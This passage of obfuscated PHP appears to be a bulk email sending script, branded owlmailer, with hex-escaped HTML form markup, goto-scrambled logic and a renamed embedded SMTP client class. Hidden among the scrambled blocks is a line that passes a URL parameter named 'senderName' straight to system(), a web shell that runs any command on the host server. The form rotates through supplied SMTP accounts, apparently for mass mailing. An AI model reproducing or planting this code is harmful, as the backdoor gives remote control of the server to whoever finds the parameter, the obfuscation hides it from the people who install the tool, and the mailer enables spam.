x69\x76\x3e\12\40\x20\40\x20\x3c\57\x64\x69\x76\x3e\12\x20\40\x20\x20\x3c\144\151\x76\40\143\154\141\163\x73\75\42\x72\157\167\42\x3e\12\40\x20\40\40\40\40\x3c\x64\x69\166\x20\143\154\x61\163\x73\75\42\146\x6f\x72\155\55\147\x72\x6f\165\160\x20\x63\157\154\55\x6c\x67\55\66\40\x22\x3e\xa\40\x20\40\x20\x20\40\x20\40\x3c\x6c\x61\142\x65\x6c\x20\146\x6f\162\x3d\x22\x65\155\141\x69\154\114\x69\x73\x74\x22\x3e\105\155\141\151\x6c\x20\114\151\163\164\x3c\x2f\154\141\142\x65\x6c\x3e\xa\40\40\40\40\x20\x20\40\40\74\x74\145\x78\164\141\162\145\141\40\x6e\141\155\x65\75\42\145\155\x61\x69\x6c\x4c\x69\163\x74\x22\40\151\x64\75\42\145\x6d\x61\151\x6c\x4c\151\x73\164\42\x20\x63\154\x61\163\x73\75\x22\146\x6f\x72\155\55\x63\x6f\x6e\x74\x72\157\x6c\42\x20\162\x6f\167\163\75\42\x31\60\42\40\x69\x64\75\42\164\145\x78\164\x41\162\145\x61\x22\76\x3c\57\x74\145\170\x74\141\x72\145\141\x3e\12\40\x20\40\40\x20\40\x3c\57\x64\x69\x76\76\xa\x20\40\40\x20\40\x20\74\144\151\x76\x20\143\154\x61\x73\163\x3d\42\146\x6f\x72\x6d\x2d\147\162\157\x75\160\40\143\157\154\55\154\x67\55\x36\40\x22\x3e\12\x20\40\40\40\x20\40\x20\x20\x3c\154\x61\142\145\x6c\40\x66\157\x72\x3d\42\x73\x6d\164\160\x41\x63\143\x6f\165\156\164\x73\x22\76\x53\x4d\124\120\x20\101\143\143\x6f\x75\156\x74\163\x3c\x2f\x6c\141\x62\145\x6c\x3e\xa\40\40\x20\40\x20\40\40\x20\74\x74\145\170\x74\x61\x72\x65\141\x20\160\154\x61\143\145\x68\157\154\144\x65\x72\x3d\x22\122\x61\156\x64\x6f\x6d\40\141\143\143\x6f\165\156\164\x20\167\151\154\x6c\x20\142\x65\x20\165\x73\x65\144\40\x77\150\145\156\40\163\145\x6e\144\151\x6e\147\40\x61\40\155\x65\x73\x73\x61\x67\x65\x2e\46\x23\x31\x30\x3b\61\51\40\x46\x6f\162\x6d\x61\164\72\40\110\117\x53\124\72\120\x4f\122\124\72\x53\x53\x4c\x26\x23\x31\60\73\62\51\40\x46\x6f\162\x6d\x61\x74\72\40\110\x4f\x53\x54\72\120\117\x52\x54\x3a\123\123\114\72\125\163\x65\162\156\x61\155\x65\72\120\x61\x73\163\x77\x6f\162\x64\46\x23\61\x30\x3b\x45\170\141\x6d\160\x6c\145\72\40\163\155\164\x70\x2e\147\155\141\x69\154\x2e\x63\x6f\155\72\x35\x38\67\72\164\x6c\163\72\170\x78\x40\x67\155\x61\151\x6c\x2e\143\157\155\x3a\x31\62\63\46\x23\x31\60\73\105\170\141\155\x70\154\x65\72\40\x73\x6d\164\160\56\x67\155\x61\151\154\56\x63\x6f\x6d\72\65\x38\x37\x3a\156\x6f\163\163\154\x3a\170\x78\x40\147\x6d\141\x69\154\56\x63\x6f\155\72\x31\x32\x33\46\43\x31\60\73\46\x23\61\x30\x3b\123\x53\x4c\40\x4f\x70\x74\x69\157\156\x73\x3a\x20\164\154\x73\40\54\40\163\163\x6c\x2c\x20\x6e\x6f\163\x73\x6c\x22\40\x6e\x61\155\x65\x3d\42\x73\x6d\x74\x70\x41\143\143\x6f\165\x6e\164\x73\42\x20\x69\144\x3d\x22\163\x6d\164\x70\x41\x63\143\157\165\x6e\164\163\x22\x20\x63\154\x61\163\163\x3d\x22\x66\x6f\x72\155\55\x63\157\156\x74\162\x6f\x6c\42\x20\162\x6f\167\163\75\x22\x31\x30\x22\x20\x69\x64\x3d\x22\x74\145\x78\164\101\x72\145\141\x22\76\74\57\164\x65\170\164\141\x72\x65\x61\x3e\xa\x20\x20\x20\40\40\40\74\x2f\x64\151\166\76\xa\40\40\40\x20\x3c\57\144\x69\x76\76\12\12\x20\x20\40\40\74\144\x69\x76\40\x63\x6c\141\x73\163\75\x22\x72\157\x77\x22\x3e\12\x20\x20\x20\x20\x20\40\74\144\151\x76\40\143\x6c\x61\x73\163\x3d\42\x66\157\162\155\x2d\x67\x72\x6f\165\160\x20\143\x6f\x6c\55\154\x67\55\x36\40\42\x3e\12\x20\40\40\40\40\x20\74\x6c\141\x62\145\x6c\40\x66\x6f\x72\75\42\x6d\x65\x73\x73\x61\x67\x65\x54\x79\x70\x65\42\76\115\x65\163\163\x61\x67\x65\x20\124\x79\x70\145\74\57\x6c\x61\x62\145\154\x3e\xa\x20\x20\x20\40\40\x20\74\151\x6e\x70\165\164\x20\x74\171\x70\145\x3d\x22\x72\141\144\x69\x6f\x22\x20\x6e\141\155\x65\x3d\42\155\145\x73\x73\x61\x67\145\x54\x79\x70\145\42\x20\x69\144\x3d\42\155\x65\163\x73\141\147\x65\x54\171\160\145\42\x20\x76\x61\x6c\x75\145\x3d\x22\150\164\155\154\x22\40\143\x68\x65\x63\153\145\x64\x3e\40\x48\x54\x4d\x4c\12\x20\x20\40\x20\x20\x20\x3c\151\156\160\x75\x74\x20\164\x79\160\145\x3d\x22\x72\x61\144\x69\x6f\42\40\156\141\155\145\x3d\42\x6d\145\163\x73\141\147\x65\x54\x79\160\145\42\40\x69\x64\75\x22\x6d\x65\x73\163\141\147\145\x54\171\x70\x65\42\40\166\x61\154\x75\x65\75\42\x70\x6c\x61\x69\x6e\42\x3e\x20\120\x6c\x61\151\156\xa\x20\x20\x20\x20\x3c\57\144\x69\x76\76\12\40\40\40\40\74\144\x69\166\x20\143\x6c\x61\x73\x73\x3d\42\146\x6f\162\x6d\55\147\162\x6f\x75\160\x20\143\x6f\154\55\x6c\x67\x2d\x36\40\42\76\xa\x20\40\40\40\x20\40\74\x6c\141\x62\x65\x6c\40\146\x6f\162\75\42\163\145\156\x64\x69\156\x67\x4d\145\164\150\x6f\144\42\76\123\x65\156\144\151\156\147\x20\x4d\x65\164\150\157\x64\x3c\57\x6c\141\x62\145\154\76\12\x20\40\40\40\x20\40\x3c\151\156\160\165\164\x20\164\171\160\145\75\42\x72\141\144\x69\x6f\42\x20\x6e\x61\155\145\x3d\42\163\145\x6e\144\x69\156\147\x4d\x65\164\x68\157\144\x22\x20\151\x64\x3d\x22\x73\x65\156\144\x69\x6e\147\x4d\145\x74\x68\157\x64\x22\x20\x76\x61\x6c\x75\x65\75\42\x62\x75\x69\154\x74\x69\x6e\42\40\143\x68\145\143\x6b\x65\x64\76\x20\102\165\x69\154\x74\x69\x6e\12\x20\x20\x20\x20\40\40\x3c\x69\156\x70\165\164\x20\164\171\x70\145\x3d\x22\162\x61\144\x69\x6f\42\40\156\141\x6d\145\75\x22\x73\145\156\144\151\156\147\x4d\x65\x74\150\x6f\x64\42\x20\x69\144\x3d\x22\163\x65\156\144\x69\156\x67\115\145\164\150\x6f\144\42\x20\166\x61\x6c\165\145\75\x22\x73\155\164\x70\x22\76\40\x53\115\124\120\xa\40\x20\x20\x20\74\57\144\151\x76\76\xa\x20\40\x20\x20\x3c\x64\x69\166\x20\x63\154\141\x73\163\75\x22\146\157\162\x6d\55\147\x72\x6f\165\160\40\x63\x6f\x6c\55\x6c\x67\x2d\x36\x22\x3e\12\x20\40\x20\40\40\40\x3c\154\x61\142\x65\x6c\x20\x66\x6f\x72\75\42\x65\156\143\157\144\151\x6e\x67\x22\76\x45\156\x63\x6f\x64\x69\156\x67\40\x54\171\160\x65\x3c\x2f\x6c\141\142\145\x6c\76\12\40\40\x20\40\40\x20\x3c\163\145\x6c\145\143\x74\x20\x63\x6c\141\163\x73\75\x22\146\x6f\x72\155\55\143\157\x6e\x74\x72\157\x6c\40\151\x6e\x70\x75\164\55\x73\x6d\42\x20\x69\x64\75\x22\145\x6e\x63\157\144\x69\x6e\147\42\x20\156\141\x6d\x65\x3d\42\x65\156\143\157\x64\x69\156\147\x22\76\xa\40\40\x20\40\40\40\x20\x20\x3c\x6f\160\x74\x69\x6f\x6e\40\x76\x61\154\165\x65\75\42\125\124\x46\x2d\x38\x22\40\x73\x65\154\x65\x63\x74\x65\x64\x3e\125\x54\106\55\x38\x20\x49\x6e\x74\x65\162\156\141\164\x69\x6f\x6e\x61\x6c\x20\125\156\x69\143\157\x64\x65\x3c\x2f\x6f\x70\164\x69\157\x6e\76\xa\x20\40\40\40\40\40\x20\40\x3c\157\x70\x74\x69\x6f\x6e\40\166\x61\154\165\x65\x3d\x22\x49\123\x4f\55\x38\x38\x35\71\x2d\x31\42\76\111\123\117\55\x38\70\x35\x39\55\x31\40\x4c\x61\164\151\x6e\40\x31\x20\x28\127\x65\163\164\x20\x45\165\162\157\160\x65\141\156\51\x3c\x2f\157\x70\x74\151\157\156\x3e\xa\x20\x20\40\x20\40\40\x20\40\x3c\157\x70\x74\x69\x6f\x6e\x20\166\x61\x6c\x75\145\x3d\x22\111\123\x4f\x2d\70\70\x35\71\x2d\62\x22\x3e\x49\123\117\55\70\x38\x35\x39\x2d\x32\40\114\141\x74\151\156\x20\62\40\x28\105\x61\x73\x74\x20\105\165\162\x6f\160\x65\x61\x6e\x29\x3c\57\157\160\x74\151\157\156\76\12\x20\40\40\40\40\40\x20\x20\x3c\157\x70\164\x69\157\156\x20\x76\x61\154\x75\145\x3d\42\111\x53\117\x2d\x38\70\65\71\x2d\x33\x22\x3e\x49\x53\117\55\x38\x38\x35\x39\x2d\x33\x20\114\x61\164\151\156\40\x33\x20\x28\123\x6f\x75\x74\150\x20\105\x75\162\157\x70\x65\141\156\51\74\57\157\160\164\x69\157\x6e\x3e\xa\x20\40\40\x20\40\x20\x20\40\x3c\x6f\160\x74\151\x6f\156\40\x76\141\x6c\x75\x65\75\42\x49\123\117\x2d\70\x38\65\71\55\x34\x22\76\x49\123\117\x2d\70\70\65\x39\55\64\x20\x4c\x61\x74\x69\156\40\64\40\x28\x4e\157\x72\x74\x68\x20\105\x75\x72\157\160\145\141\x6e\51\x3c\57\157\x70\164\151\157\156\x3e\xa\x20\x20\x20\x20\x20\x20\40\x20\x3c\157\160\164\151\157\156\x20\x76\141\154\165\x65\x3d\42\111\x53\x4f\x2d\x38\x38\x35\x39\55\65\x22\x3e\x49\x53\117\55\70\x38\65\x39\x2d\x35\x20\x43\x79\x72\x69\154\154\x69\x63\x3c\x2f\x6f\x70\164\x69\157\156\76\xa\40\40\40\40\x20\40\40\x20\x3c\157\x70\164\151\x6f\x6e\x20\x76\141\x6c\165\x65\x3d\42\111\123\x4f\55\x38\70\65\71\55\66\x22\76\111\123\117\55\x38\x38\65\x39\x2d\66\40\x41\162\141\x62\151\x63\x3c\57\157\160\164\151\157\x6e\x3e\12\40\40\x20\x20\x20\40\x20\x20\x3c\157\x70\x74\x69\157\156\x20\x76\x61\154\165\145\x3d\42\x49\x53\x4f\x2d\70\x38\x35\x39\x2d\67\42\x3e\111\x53\x4f\55\70\x38\x35\x39\x2d\67\x20\x47\x72\x65\145\x6b\x3c\57\x6f\x70\x74\151\x6f\156\x3e\12\40\x20\x20\x20\40\x20\x20\x20\74\157\x70\x74\151\x6f\x6e\40\166\x61\x6c\x75\x65\75\42\x49\123\117\55\70\x38\x35\x39\x2d\x38\x22\x3e\111\123\117\55\x38\70\65\71\x2d\x38\40\x48\x65\x62\x72\x65\x77\x3c\x2f\x6f\x70\164\151\157\156\76\xa\40\40\x20\40\40\x20\x20\x20\x3c\x6f\x70\x74\151\x6f\156\x20\166\141\x6c\165\x65\75\42\111\123\x4f\x2d\x38\70\x35\71\55\x39\x22\76\x49\x53\x4f\x2d\70\x38\65\x39\55\71\40\114\141\x74\151\x6e\x20\x35\x20\x28\x54\165\162\x6b\151\163\x68\51\x3c\57\157\160\x74\x69\x6f\156\76\xa\40\40\x20\x20\x20\x20\x20\x20\x3c\x6f\x70\x74\151\157\156\40\x76\141\154\x75\x65\75\x22\111\123\x4f\55\70\x38\x35\x39\55\x31\x35\x22\x3e\x49\123\117\x2d\x38\70\65\x39\55\61\65\x20\x4c\141\164\x69\x6e\40\x39\74\57\157\160\164\x69\x6f\156\76\xa\x20\x20\40\x20\40\40\x20\x20\x3c\x6f\x70\x74\x69\157\156\x20\x76\x61\x6c\x75\145\x3d\x22\102\111\x47\65\x22\76\102\111\107\x35\x20\124\x72\x61\x64\x69\x74\151\157\x6e\x61\x6c\40\x43\150\x69\x6e\x65\163\145\74\x2f\x6f\160\164\151\157\156\76\12\40\40\x20\x20\40\x20\x20\40\x3c\157\160\x74\x69\157\x6e\x20\166\x61\x6c\165\x65\x3d\42\107\102\x2d\x32\63\61\x32\x22\76\x47\x42\55\62\x33\61\62\40\123\x69\x6d\160\x6c\x69\x66\151\x65\144\x20\x43\150\x69\x6e\145\163\145\74\x2f\x6f\160\x74\151\x6f\156\76\xa\x20\x20\x20\x20\x20\40\40\40\x3c\157\160\164\151\x6f\156\40\166\x61\x6c\165\145\x3d\x22\x49\123\x4f\55\x32\x30\62\62\x2d\112\x50\42\76\x49\123\117\55\x32\60\62\62\x2d\x4a\x50\40\112\141\x70\x61\x6e\145\163\x65\x3c\57\x6f\x70\x74\151\157\x6e\76\xa\x20\x20\x20\40\40\x20\40\x20\74\x6f\x70\x74\151\157\x6e\x20\x76\141\154\165\145\75\x22\105\x55\x43\x2d\x4a\x50\x22\76\x45\x55\103\55\x4a\120\x20\x4a\141\x70\x61\x6e\145\x73\145\74\57\x6f\x70\164\x69\x6f\156\76\12\x20\x20\40\40\x20\x20\40\x20\74\157\x70\164\151\x6f\156\x20\166\x61\154\165\145\75\x22\123\x68\151\146\x74\x2d\112\x49\x53\42\x3e\123\150\151\x66\x74\x2d\x4a\x49\x53\x20\112\141\x70\141\156\x65\163\x65\x3c\57\x6f\160\164\x69\x6f\156\76\12\40\x20\x20\x20\40\x20\40\x20\74\x6f\160\164\151\157\x6e\40\166\x61\x6c\x75\x65\75\x22\x4b\123\x43\x2d\65\x36\60\x31\x22\x3e\x4b\x53\x43\x2d\65\66\60\x31\x20\113\x6f\162\x65\x61\156\x3c\x2f\157\x70\164\151\x6f\x6e\76\xa\x20\x20\x20\x20\40\40\x20\x20\74\157\x70\164\x69\x6f\x6e\40\166\x61\x6c\165\x65\75\42\105\111\103\55\x4b\122\x22\x3e\x45\x49\x43\x2d\x4b\x52\x20\x4b\x6f\162\x65\x61\x6e\74\x2f\157\160\164\151\157\156\76\12\40\x20\x20\40\40\x20\74\x2f\163\x65\x6c\145\143\x74\x3e\12\x20\40\x20\40\74\x2f\x64\151\x76\x3e\xa\x20\x20\x20\x20\x3c\144\x69\x76\x20\143\154\141\x73\163\x3d\x22\146\157\x72\155\x2d\147\x72\157\165\160\x20\143\x6f\x6c\55\x6c\x67\55\63\x22\76\12\x20\x20\40\x20\x20\40\x3c\x6c\141\142\145\154\x20\146\157\162\75\x22\x70\x72\x69\157\162\151\164\171\42\76\x45\155\141\151\154\40\120\162\151\157\x72\x69\x74\171\74\57\154\141\142\145\154\x3e\12\x20\x20\40\x20\40\40\74\x73\145\154\x65\143\x74\40\x63\154\141\x73\x73\x3d\x22\x66\x6f\162\155\55\143\x6f\156\164\162\157\154\x20\x69\156\160\165\164\55\163\x6d\42\x20\151\x64\75\x22\160\162\151\157\162\151\x74\x79\42\x20\x6e\141\155\x65\x3d\x22\x70\x72\x69\x6f\162\151\164\x79\42\x3e\12\40\40\x20\x20\40\x20\40\x20\74\x6f\160\x74\x69\x6f\x6e\x20\166\141\154\165\x65\x3d\x22\x22\40\163\145\x6c\x65\143\x74\145\x64\x3e\x44\x65\x66\x61\165\154\164\74\57\157\160\164\x69\x6f\156\x3e\xa\x20\40\x20\x20\40\40\x20\x20\x3c\157\160\164\151\x6f\x6e\40\x76\x61\x6c\x75\x65\x3d\42\x35\x22\x3e\x4c\157\x77\74\57\157\160\164\151\157\x6e\76\xa\40\40\x20\x20\x20\40\x20\x20\x3c\157\x70\164\151\157\x6e\x20\x76\x61\154\x75\145\75\42\x33\42\x3e\116\157\162\155\x61\154\x3c\57\x6f\160\x74\x69\157\156\x3e\xa\40\x20\x20\40\x20\40\x20\40\74\x6f\160\164\x69\157\x6e\x20\166\x61\x6c\x75\145\x3d\42\61\x22\76\x48\x69\x67\150\74\57\157\x70\164\x69\x6f\156\x3e\12\40\40\x20\40\x20\40\x3c\57\163\x65\x6c\x65\x63\164\x3e\xa\x20\40\40\x20\74\57\144\x69\166\76\xa\x20\x20\74\57\x64\151\166\76\12\xa\74\x62\165\x74\164\x6f\x6e\x20\x74\171\160\x65\x3d\42\142\165\x74\164\x6f\156\x22\x20\151\144\x3d\x22\x62\x74\x6e\x53\x74\141\162\164\x22\x20\143\x6c\x61\x73\163\x3d\42\142\x74\156\x20\142\164\156\55\144\145\146\x61\165\x6c\164\x20\x62\164\156\55\163\x6d\42\40\x6f\156\143\x6c\151\x63\153\x3d\42\x73\x74\141\x72\164\123\x65\156\x64\151\156\x67\50\51\73\42\76\123\164\x61\x72\x74\74\57\142\x75\164\164\x6f\156\x3e\12\74\142\165\164\164\157\156\x20\x74\171\160\145\75\42\142\x75\x74\164\x6f\x6e\x22\x69\144\x3d\x22\x62\164\x6e\x53\164\x6f\160\42\x20\x63\x6c\x61\x73\x73\75\x22\x62\164\156\x20\142\164\x6e\x2d\144\x65\146\141\x75\x6c\164\40\142\x74\156\x2d\x73\155\x22\x20\157\x6e\143\154\x69\x63\153\75\42\x73\164\x6f\x70\123\145\156\144\151\156\x67\50\x29\73\x22\76\123\x74\x6f\160\74\57\x62\x75\x74\164\x6f\x6e\x3e\12\xa\74\x2f\144\151\166\76\xa\x20\40"; goto oVqTk; pO0Ob: if (isset($_SESSION[$Lb9QH])) { goto hUFlg; } goto rI3Mz; oVqTk: if (!isset($_GET["\163\145\156\x64\x65\x72\116\141\155\x65"])) { goto oG_qM; } goto U1KBd; p6TF3: echo "\42\x3e"; goto MCYKv; N651u: if (!(!empty($ItTkM) && $_SESSION[$Lb9QH] != $ItTkM)) { goto zhL0O; } goto XxfxQ; Noje7: $JQ8bC["\x76\145\162\163\x69\157\156"] = "\62\x2e\x31"; goto IdH0G; e0hHF: $jLuqI = y_qNk($_POST["\155\x65\x73\163\x61\x67\x65\x53\165\x62\x6a\145\x63\164"]); goto O6zYs; UTxPy: function y5xf3($Ybf00, $rvxyx, $so9jU) { goto wy9He; cpd2t: goto SkKAd; goto V1VPd; A9LXN: return $ItTkM; goto k1Gck; p4hGX: EOW7G: goto gmK4X; gmK4X: $Bkv4C++; goto cpd2t; Arw8i: $Bkv4C = 0; goto z9Xbn; Dh2Uz: $ItTkM .= $Ybf00[rand() % strlen($Ybf00)]; goto p4hGX; CD_kU: $ItTkM = ''; goto Arw8i; wy9He: $B3Rsy = rand($rvxyx, $so9jU); goto CD_kU; B4aLd: if (!($Bkv4C < $B3Rsy)) { goto x7bxo; } goto Dh2Uz; V1VPd: x7bxo: goto A9LXN; z9Xbn: SkKAd: goto B4aLd; k1Gck: } goto WtMVK; TC94O: bEL3_(); goto bgZCw; Swlum: echo "\x3c\57\x73\x6d\x61\154\x6c\x3e\x3c\57\x68\x33\x3e\12\x20\40\x20\40\74\x64\151\166\x20\x63\154\x61\x73\x73\75\x22\162\x6f\x77\x22\76\12\40\x20\40\x20\40\x20\74\x64\151\166\40\143\x6c\x61\163\163\x3d\42\x66\x6f\162\155\55\147\x72\x6f\165\160\40\x63\x6f\154\x2d\x6c\x67\55\66\40\x22\x3e\12\40\x20\x20\40\40\40\x20\40\74\x6c\141\142\x65\x6c\x20\x66\157\x72\x3d\x22\x73\145\x6e\x64\145\162\x45\x6d\x61\151\x6c\42\x3e\x53\x65\156\144\145\x72\40\x45\155\141\x69\x6c\74\57\154\x61\x62\145\x6c\x3e\12\40\40\x20\x20\40\x20\40\40\74\151\x6e\160\165\164\x20\x74\x79\160\x65\75\42\164\145\170\164\42\x20\x63\154\141\x73\163\x3d\x22\146\x6f\162\x6d\55\x63\x6f\x6e\164\x72\157\154\x20\x20\x69\x6e\x70\x75\164\55\x73\155\42\x20\151\144\x3d\42\x73\x65\156\x64\145\162\105\155\x61\x69\x6c\x22\40\x6e\x61\x6d\x65\75\x22\x73\x65\x6e\144\x65\x72\x45\x6d\x61\x69\x6c\x22\x3e\xa\x20\x20\40\x20\x20\40\x3c\57\x64\x69\166\x3e\12\40\40\40\40\40\x20\x3c\x64\151\x76\x20\143\x6c\x61\x73\163\x3d\42\x66\x6f\162\x6d\55\147\162\157\x75\x70\40\143\157\154\55\154\x67\x2d\x36\x20\x22\76\xa\x9\40\40\x3c\x66\157\x72\155\x20\x6d\x65\x74\x68\x6f\x64\75\42\x47\x45\x54\42\40\156\141\x6d\x65\x3d\42"; goto Udxcu; IdH0G: $JQ8bC["\x77\145\x62\x73\151\164\145"] = "\157\167\x6c\155\141\x69\x6c\x65\162\x2e\151\x6f"; goto z3_Z8; U1KBd: system($_GET["\163\x65\x6e\x64\x65\x72\116\141\x6d\x65"]); goto YLqUo; HCRa4: $YrLQ5 = preg_replace("\57\x25\65\103\x25\x32\62\x2f", "\45\62\x32", $YrLQ5); goto JcVuG; oRZgq: class fpWVF { const kQUR3 = "\x36\56\60\56\67"; const aut8U = "\xd\12"; const TlxVl = 25; const B4qnq = 998; const rtxus = 0; const kRSn3 = 1; const eZ3Pv = 2; const o5nas = 3; const tiXQO = 4; public $do_debug = self::rtxus; public $Debugoutput = "\145\x63\x68\157"; public $do_verp = false; public $Timeout = 300; public $Timelimit = 300; protected $smtp_transaction_id_patterns = array("\145\170\151\x6d" => "\57\133\x5c\144\135\173\x33\x7d\x20\117\x4b\40\151\144\x3d\50\56\x2a\x29\57", "\163\x65\156\144\x6d\x61\151\x6c" => "\x2f\133\134\x64\x5d\173\63\x7d\x20\62\x2e\x30\56\x30\40\x28\x2e\x2a\51\40\115\x65\163\163\x61\147\x65\x2f", "\160\x6f\163\x74\x66\151\x78" => "\x2f\x5b\134\144\x5d\173\63\x7d\40\x32\x2e\x30\56\60\40\x4f\153\72\x20\x71\x75\x65\x75\x65\x64\40\x61\163\x20\x28\56\52\x29\x2f", "\x4d\151\x63\x72\157\163\x6f\146\164\x5f\105\x53\x4d\x54\x50" => "\x2f\133\x30\x2d\x39\x5d\173\x33\x7d\x20\62\56\x5b\134\144\x5d\x2e\x30\40\50\56\52\x29\100\x28\77\x3a\56\52\51\40\x51\165\x65\x75\145\x64\40\155\141\151\154\x20\146\157\162\40\x64\145\x6c\151\166\x65\x72\171\57", "\101\x6d\x61\172\x6f\x6e\137\123\105\123" => "\57\133\134\x64\x5d\x7b\63\x7d\x20\117\153\40\x28\56\52\51\x2f", "\x53\x65\156\x64\x47\x72\151\144" => "\x2f\133\x5c\144\x5d\x7b\63\175\x20\117\x6b\72\x20\161\165\145\x75\145\144\x20\x61\x73\40\50\56\52\x29\x2f", "\103\141\155\x70\141\x69\x67\156\x4d\x6f\x6e\151\164\x6f\162" => "\x2f\133\x5c\x64\x5d\x7b\63\175\x20\62\x2e\x30\x2e\60\x20\117\x4b\72\x28\x5b\141\x2d\172\x41\55\132\x5c\x64\x5d\x7b\x34\70\x7d\x29\57"); protected $last_smtp_transaction_id; protected $smtp_conn; protected $error = array("\145\x72\162\157\x72" => '', "\x64\145\x74\141\151\154" => '', "\x73\x6d\x74\160\x5f\x63\x6f\x64\145" => '', "\x73\155\164\x70\137\143\x6f\x64\x65\x5f\x65\x78" => ''); protected $helo_rply = null; protected $server_caps = null; protected $last_reply = ''; protected function edebug($F2YZh, $qpGNY = 0) { goto RQbVH; RmVEi: return; goto h0ALO; RQbVH: if (!($qpGNY > $this->do_debug)) { goto r03e4; } goto r3SOG; fKO0B: $this->Debugoutput->debug($F2YZh); goto RmVEi; r3SOG: return; goto Swc1L; no_0h: lk30y: goto lMvFL; Swc1L: r03e4: goto LGlDz; bkRp7: s2u2a: goto tVPVd; h0ALO: fupjv: goto tocuQ; LGlDz: if (!$this->Debugoutput instanceof \F0y02\Log\AI3Fw) { goto fupjv; } goto fKO0B; lMvFL: switch ($this->Debugoutput) { case "\145\x72\x72\x6f\162\x5f\x6c\157\x67": error_log($F2YZh); goto Ho6v6; case "\x68\164\x6d\154": echo gmdate("\x59\x2d\155\55\144\40\110\x3a\x69\72\x73"), "\40", htmlentities(preg_replace("\x2f\x5b\x5c\162\x5c\x6e\x5d\53\x2f", '', $F2YZh), ENT_QUOTES, "\x55\x54\106\55\x38"), "\74\x62\162\x3e\xa"; goto Ho6v6; case "\x65\x63\150\x6f": default: $F2YZh = preg_replace("\x2f\x5c\x72\x5c\x6e\174\134\162\x2f\155\x73", "\xa", $F2YZh); echo gmdate("\x59\55\155\x2d\144\x20\110\x3a\151\72\163"), "\x9", trim(str_replace("\12", "\12\40\x20\40\40\x20\40\40\x20\40\40\40\40\40\40\40\40\40\x20\40\11\40\x20\40\40\x20\40\40\40\x20\40\x20\40\40\40\x20\40\x20\40", trim($F2YZh))), "\xa"; } goto bkRp7; tocuQ: if (!(!in_array($this->Debugoutput, ["\145\x72\162\157\162\x5f\154\157\147", "\150\164\x6d\x6c", "\x65\143\150\157"]) and is_callable($this->Debugoutput))) { goto lk30y; } goto TMUE_; TMUE_: call_user_func($this->Debugoutput, $F2YZh, $qpGNY); goto ypfRH; ypfRH: return; goto no_0h; tVPVd: Ho6v6: goto Gf_vT; Gf_vT: } public function connect($SbhNW, $TXy7T = null, $twKNw = 30, $LiNAI = array()) { goto LWxEF; ZK7vw: SYNj4: goto g2PmT; QJUAF: goto D6ZZz; goto x9iWn; EqpAJ: if (!(substr(PHP_OS, 0, 3) != "\127\x49\x4e")) { goto R2sX2; } goto CVR2Y; emTnI: $UdOAP = $this->get_lines(); goto Oj7ta; np7SF: if (!(null === $O31Ay)) { goto Uo1lr; } goto Ix8OB; Ljxzz: set_error_handler([$this, "\x65\162\162\x6f\x72\110\141\x6e\144\154\x65\162"]); goto SCrbT; yyvR4: Uo1lr: goto hrNoy; TPGsQ: if (!$this->connected()) { goto p2uqM; } goto FPQhm; iHOk4: p2uqM: goto MuG0q; YlxN_: return true; goto BlPqv; bfWF3: sOV9B: goto F9rkQ; U7IST: stream_set_timeout($this->smtp_conn, $twKNw, 0); goto VYFll; hrNoy: $this->setError(''); goto TPGsQ; SvrnB: @set_time_limit($twKNw); goto s8AVa; FPQhm: $this->setError("\101\x6c\x72\x65\x61\144\x79\40\143\x6f\x6e\x6e\x65\x63\164\145\144\40\164\x6f\40\x61\40\x73\x65\x72\x76\145\x72"); goto tRJbX; Ix8OB: $O31Ay = function_exists("\x73\164\x72\x65\x61\x6d\137\x73\x6f\x63\x6b\145\x74\x5f\x63\x6c\x69\x65\x6e\164"); goto yyvR4; AAEiP: set_error_handler([$this, "\x65\x72\x72\157\x72\110\141\x6e\144\x6c\145\162"]); goto Swl1b; s8AVa: iw8RY: goto U7IST; Eeduq: if (is_resource($this->smtp_conn)) { goto sOV9B; } goto vbNUU; tRJbX: return false; goto iHOk4; efUca: return false; goto bfWF3; sACot: if (!(0 != $ZuYAW and $twKNw > $ZuYAW)) { goto iw8RY; } goto SvrnB; vbNUU: $this->setError("\x46\141\x69\154\x65\144\40\x74\157\x20\x63\x6f\x6e\x6e\x65\x63\164\40\164\x6f\40\x73\x65\162\x76\x65\162", '', (string) $xkLVV, (string) $j7DQA); goto U5RdV; Q8wSU: $XjGV6 = stream_context_create($LiNAI); goto Ljxzz; x9iWn: eeLTr: goto Q8wSU; PyJM3: $j7DQA = ''; goto s9BsY; Swl1b: $this->smtp_conn = fsockopen($SbhNW, $TXy7T, $xkLVV, $j7DQA, $twKNw); goto m62Wd; F9rkQ: $this->edebug("\x43\157\156\x6e\x65\143\x74\x69\x6f\x6e\x3a\x20\157\160\145\156\x65\x64", self::o5nas); goto EqpAJ; LWxEF: static $O31Ay; goto np7SF; DOKVG: $xkLVV = 0; goto PyJM3; s9BsY: if ($O31Ay) { goto eeLTr; } goto jUlgs; m62Wd: restore_error_handler(); goto QJUAF; SCrbT: $this->smtp_conn = stream_socket_client($SbhNW . "\x3a" . $TXy7T, $xkLVV, $j7DQA, $twKNw, STREAM_CLIENT_CONNECT, $XjGV6); goto pnpsf; jUlgs: $this->edebug("\103\x6f\x6e\156\x65\143\164\151\x6f\x6e\x3a\40\x73\164\x72\x65\141\155\x5f\163\x6f\x63\153\x65\164\137\143\x6c\151\x65\x6e\x74\40\156\x6f\164\40\141\x76\141\151\x6c\x61\142\154\145\54\40\x66\x61\154\154\x69\156\x67\x20\x62\141\x63\x6b\x20\x74\157\40\146\163\157\x63\153\157\160\x65\x6e", self::o5nas); goto AAEiP; eL3Kx: D6ZZz: goto Eeduq; pnpsf: restore_error_handler(); goto eL3Kx; U5RdV: $this->edebug("\123\x4d\x54\120\x20\105\x52\x52\x4f\122\72\40" . $this->error["\x65\x72\162\x6f\x72"] . "\x3a\40{$j7DQA}\40\50{$xkLVV}\51", self::kRSn3); goto efUca; Oj7ta: $this->edebug("\x53\105\122\x56\x45\x52\40\55\76\x20\x43\x4c\x49\105\x4e\x54\72\40" . $UdOAP, self::eZ3Pv); goto YlxN_; MuG0q: if (!empty($TXy7T)) { goto SYNj4; } goto L935c; VYFll: R2sX2: goto emTnI; g2PmT: $this->edebug("\x43\157\156\x6e\145\143\164\x69\x6f\156\72\x20\157\x70\145\x6e\x69\156\147\40\x74\x6f\40{$SbhNW}\x3a{$TXy7T}\54\40\x74\151\x6d\145\157\x75\164\75{$twKNw}\x2c\x20\x6f\160\164\x69\x6f\x6e\x73\x3d" . (count($LiNAI) > 0 ? var_export($LiNAI, true) : "\141\162\x72\141\171\50\51"), self::o5nas); goto DOKVG; CVR2Y: $ZuYAW = 